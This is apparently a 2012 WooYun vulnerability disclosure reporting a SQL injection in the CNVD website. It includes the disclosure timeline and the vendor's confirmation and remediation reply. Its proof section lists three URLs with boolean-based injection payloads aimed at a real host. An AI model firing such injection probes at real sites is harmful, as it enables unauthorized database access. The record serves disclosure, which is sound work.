漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05387
漏洞标题：cnvd存在一处sql Injection
相关厂商：国家信息安全漏洞平台
漏洞作者： h4k3r
提交时间：2012-03-19 22:43
修复时间：2012-05-03 22:44
公开时间：2012-05-03 22:44
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-19： 细节已通知厂商并且等待厂商处理中
2012-03-21： 厂商已经确认，细节仅向厂商公开
2012-03-31： 细节向核心白帽子及相关领域专家公开
2012-04-10： 细节向普通白帽子公开
2012-04-20： 细节向实习白帽子公开
2012-05-03： 细节向公众公开
简要描述：
国家信息安全漏洞平台存在一处sql Injection
详细说明：
国家信息安全漏洞平台存在一处sql Injection
漏洞证明：
http://www.cnvd.org.cn/sites/main/preview/ldgg_preview.htm?tid=4425'||'8
http://www.cnvd.org.cn/sites/main/preview/ldgg_preview.htm?tid=44258'and'1'='1
http://www.cnvd.org.cn/sites/main/preview/ldgg_preview.htm?tid=44258'and'1'='2
修复方案：
不敢懂
版权声明：转载请注明来源 h4k3r@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2012-03-21 06:57
厂商回复：
CNVD确认注入点存在，同时已经展开自查，目前以过滤为主，同时对涉及的查询、交互功能进行代码层级的检查。
根据昨天测试结果，目前存在注入点的为动态页面，这些动态页面提示404的错误为CNVD网站持续改进过程中的未完成功能页面，如：漏洞跟踪、行业漏洞库等。根据设计原则，其他发布页面作了静态化，数据库前后台亦进行分离，因此自测试过程中暂未发现对数据库表以及相关字段进一步注入的情况。
针对以后的行业漏洞库、用户交互功能，待上线后也请各位白帽子多关注，提出改进意见，发现问题会有礼物作为良好互动。
感谢h4k3r及各位的关注。根据自测试结果，对影响情况（机密性、完整性、可用性）未按CNVD 评分进行，rank 5
最新状态：
暂无